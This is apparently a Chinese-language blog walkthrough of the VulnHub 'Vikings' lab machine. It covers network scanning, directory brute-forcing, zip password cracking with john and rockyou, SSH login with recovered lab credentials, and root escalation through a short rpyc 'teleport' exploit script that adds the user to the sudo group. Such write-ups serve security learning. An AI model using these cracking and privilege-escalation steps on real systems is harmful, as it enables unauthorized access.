第九周
打点
arp-scan -l
发现主机
信息搜集
nmap -p- 192.168.56.12
这里发现80端口存在http服务,直接使用浏览器进行访问。
nmap -p22,80 -sV 192.168.56.12
发现直接展示了目录。我们进行查看,这里因为它引用了一些国外的资源,加载比较慢。可能得好几分钟。进来之后就是这么一个页面,源代码是没有什么有用的信息的,主要是这段文字,这段文字说了英国人和维京人的战争故事,我们主要记住Ragnar
这么个名字。
然后接下来我们进行一个目录爆破的操作。这里使用我们之前用过的gubuster
,给他指定一个简单的字典。如果没有wordlists字典可以使用如下的命令安装一下
sudo apt install seclists
gobuster dir -r -u http://192.168.56.12/site -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html
这里我们如果使用dirsearch是扫不出这个东西来的,因为dirsearch是用来搜集目录的,所以我们使用gobuster
尝试去访问一下这个war.txt
进一步访问
得到一串字符
隐写
猜测是base64
使用解密网站解密
得到一个PK开头的文件,根据misc的知识可得,这是一个压缩包的文件头,这里我们使用file进一步确认
正如我们所猜想的那样,这是一个zip的压缩包
我们将他另存为1.zip
尝试解压.发现需要密码
cp /usr/share/wordlists/rockyou.txt.gz ./
先将字典加载到当前文件夹并解压
这里我们需要对这个密码进行爆破,这里还是使用john
这个工具
zip2john 1.zip > hash
使用脚本将这个文件先转换为hash。然后指定字典进行爆破
john hash --wordlist=rockyou.txt
这里爆破成功发现密码是ragnarok123
解压之后出现了这么一张图片。
binwalk king
发现有一个zip文件,使用-e参数将其提取出来
binwalk -e king
root运行出现报错的话加上--run-as=root
运行完之后会出现文件文件夹,然后里面存在user这么个文件
出现了一些文本信息,这里看格式很像是 ssh的登录账号格式。
这里需要多次尝试,得出账号密码是
floki #账号名
f@m0usboatbuilde7 #密码
发现成功登录
提权
发现当前文件夹下有两个文件
查看得到上图的文件内容
查看 /etc/passwd
cat /etc/passwd
可以看到存在ragnar
这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。还有一个boat文件。我们再看看查看 /etc/passwd 可以看到存在ragnar
这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。
还有一个boat文件
这里就是说我们需要找到第29个质数,然后呢对它进行一个collatz-conjecture
的测试。
翻译一下就是: 对任一个正整数。如果为偶数就除二,如果是奇数就乘3加1,最后都会变成1
所以我们需要先求出第29个质数。
因此我们需要写一个prime.py文件和一个collatz.py文件
prime.py
n = 0
for x in range(1000):
if x < 2:
continue
h = int(x / 2) + 1
for i in range(2, h):
if x % i == 0:
break
else:
n += 1
print(n, ":", x)
第29个质数为109
所以n 等于109
collatz.py
i = 109
c = [i]
while i != 1:
if i % 2 == 1:
i = i * 3 + 1
else:
i = i // 2
#ascii字符最大为255
if i < 256:
c.append(i)
print(c)
result:
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
使用cyperchef这两个模块筛选出可打印的ascii字符
Hint
:可打印字符-----在ASCII码中,第32~126号(共95个)是可打印字符,也就是在显示器上输出能够看得见的
mR)|>^/Gky[gz=\.F#j5P(
这里我们也可以使用脚本直接提取.
i = 109
a= []
c = [i]
while i != 1:
if i % 2 == 1:
i = i * 3 + 1
else:
i = i // 2
#ascii字符最大为255
if i < 256:
c.append(i)
print(c)
ascii_str = ''
for i in c:
if 32<=i<=126:
ascii_str += chr(i)
print(ascii_str)
这个应该就是ragnar
这个账号的密码了,这个时候我们进行测试。使用ssh连接上之后输入密码。这里还会需要我们输入一个sudo密码。但是输入密码之后会提示我们也不是sudo组的成员。这里为什么会要求我们输入密码呢,其实就是可能存在某些自启动的程序。我们可以通过一些配置文件去查找。
ssh [email protected]
我们先升级一下shell
/bin/bash
查看一下刚才自启动的bash指令
通过查看.profile
这么个配置文件的时候会发现这里面有一个
sudo python3 /usr/local/bin/rpyc_classic.py #这里就是调用sudo命令去执行
查看一下这个py文件的内容。
cat /usr/local/bin/rpyc_classic.py
这个东西是一个远程服务,分为客户端和服务端。然后我们通过客户端连接上服务器就可以进行数据的通信。执行一些逻辑代码。
这里简单阅读一下这个文档,就知道如何去使用它了。
首先就是上面的启动服务器和连接了。我们可以通过导入rpyc
这个模块,然后使用它提供的方法去连接到启动的服务器。
rpyc
然后这里告诉我们可以通过定义一些函数,然后使用teleport
这个方法去传出到服务器执行。
该文件属主是root,那么我们如果能去执行一些代码的话,那我们有可能就提权成为root
那我们就可以写一个简单的函数来进行提权
import rpyc
#连接本地服务器
conn = rpyc.classic.connect("localhost")
def shell():
import os
#这里是把ragnar添加到sudo组内
os.system("sudo usermod -a -G sudo ragnar")
#传输函数
fn = conn.teleport(shell)
fn()
python3 exp.py #运行这个py文件
然后我们退出这个连接,重新连接一下这个账号。
ssh [email protected]
mR)|>^/Gky[gz=\.F#j5P(
/bin/bash #升级shell
sudo -s #切换root
成功拿下root
标签:文件,sudo,这里,Vikings,py,vulnhub,我们,ragnar From: https://www.cnblogs.com/r1ng/p/vulnhub-Vikings.html